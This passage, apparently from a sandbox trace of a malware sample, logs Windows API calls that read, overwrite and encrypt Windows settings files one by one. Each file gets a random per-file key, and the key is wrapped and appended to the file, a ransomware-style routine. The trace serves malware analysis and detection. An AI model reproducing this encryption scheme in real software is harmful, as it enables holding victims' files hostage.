lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.521] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.522] CloseHandle (hObject=0x1c24) returned 1 [0196.526] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.526] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.526] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Privacy_BackgroundApps_SubText.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.527] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x518, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x518, lpOverlapped=0x0) returned 1 [0196.553] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.554] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x518, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x518, lpOverlapped=0x0) returned 1 [0196.554] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x518 [0196.554] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.554] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.555] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.555] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.556] CloseHandle (hObject=0x1c24) returned 1 [0196.558] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.558] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.558] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Privacy_AdvertisingIdEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.558] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4f2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f2, lpOverlapped=0x0) returned 1 [0196.578] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1266, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.578] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4f2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f2, lpOverlapped=0x0) returned 1 [0196.579] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f2 [0196.579] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.579] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.579] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.580] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.580] CloseHandle (hObject=0x1c24) returned 1 [0196.582] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.582] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.582] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PowerAndSleep_SleepTimeoutDC.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.582] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x502, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x502, lpOverlapped=0x0) returned 1 [0196.584] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1282, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.584] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x502, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x502, lpOverlapped=0x0) returned 1 [0196.584] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x502 [0196.584] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.585] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.585] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.585] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.586] CloseHandle (hObject=0x1c24) returned 1 [0196.593] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.593] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.593] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PowerAndSleep_SleepTimeoutAC.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.593] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x502, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x502, lpOverlapped=0x0) returned 1 [0196.606] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1282, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.606] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x502, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x502, lpOverlapped=0x0) returned 1 [0196.606] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x502 [0196.606] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.606] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.607] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.607] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.607] CloseHandle (hObject=0x1c24) returned 1 [0196.609] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.609] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.609] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PowerAndSleep_DisplayOffTimeoutDC_AoAc.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.610] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x53d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x53d, lpOverlapped=0x0) returned 1 [0196.619] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1341, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.619] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x53d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x53d, lpOverlapped=0x0) returned 1 [0196.620] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x53d [0196.620] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.620] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.620] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.621] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.621] CloseHandle (hObject=0x1c24) returned 1 [0196.623] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.624] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.624] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PowerAndSleep_DisplayOffTimeoutDC.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.624] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x520, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x520, lpOverlapped=0x0) returned 1 [0196.625] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.625] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x520, lpOverlapped=0x0) returned 1 [0196.626] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x520 [0196.626] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.626] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.626] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.626] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.627] CloseHandle (hObject=0x1c24) returned 1 [0196.628] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.628] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0196.628] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PowerAndSleep_DisplayOffTimeoutAC_AoAc.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.629] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x53d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x53d, lpOverlapped=0x0) returned 1 [0196.630] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1341, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.630] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x53d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x53d, lpOverlapped=0x0) returned 1 [0196.631] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x53d [0196.631] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.631] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.631] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.631] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.632] CloseHandle (hObject=0x1c24) returned 1 [0196.633] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.633] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0196.633] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PowerAndSleep_DisplayOffTimeoutAC.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.634] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x520, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x520, lpOverlapped=0x0) returned 1 [0196.635] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.635] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x520, lpOverlapped=0x0) returned 1 [0196.635] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x520 [0196.635] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.635] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.635] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.636] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.636] CloseHandle (hObject=0x1c24) returned 1 [0196.637] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.637] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.637] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Personalize_LockScreenSlideshowSource_CloudBrandName.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.638] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x57d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x57d, lpOverlapped=0x0) returned 1 [0196.648] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.648] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x57d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x57d, lpOverlapped=0x0) returned 1 [0196.649] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x57d [0196.649] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.649] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.649] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.650] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.650] CloseHandle (hObject=0x1c24) returned 1 [0196.652] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0196.652] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.652] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Personalize_LockScreenChooseBackgroundType.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.652] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x54b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x54b, lpOverlapped=0x0) returned 1 [0196.653] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1355, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.653] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x54b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x54b, lpOverlapped=0x0) returned 1 [0196.653] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x54b [0196.653] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.653] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.654] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.654] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.654] CloseHandle (hObject=0x1c24) returned 1 [0196.660] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.660] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0196.660] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Personalize_LockScreenBackground.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.660] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x519, 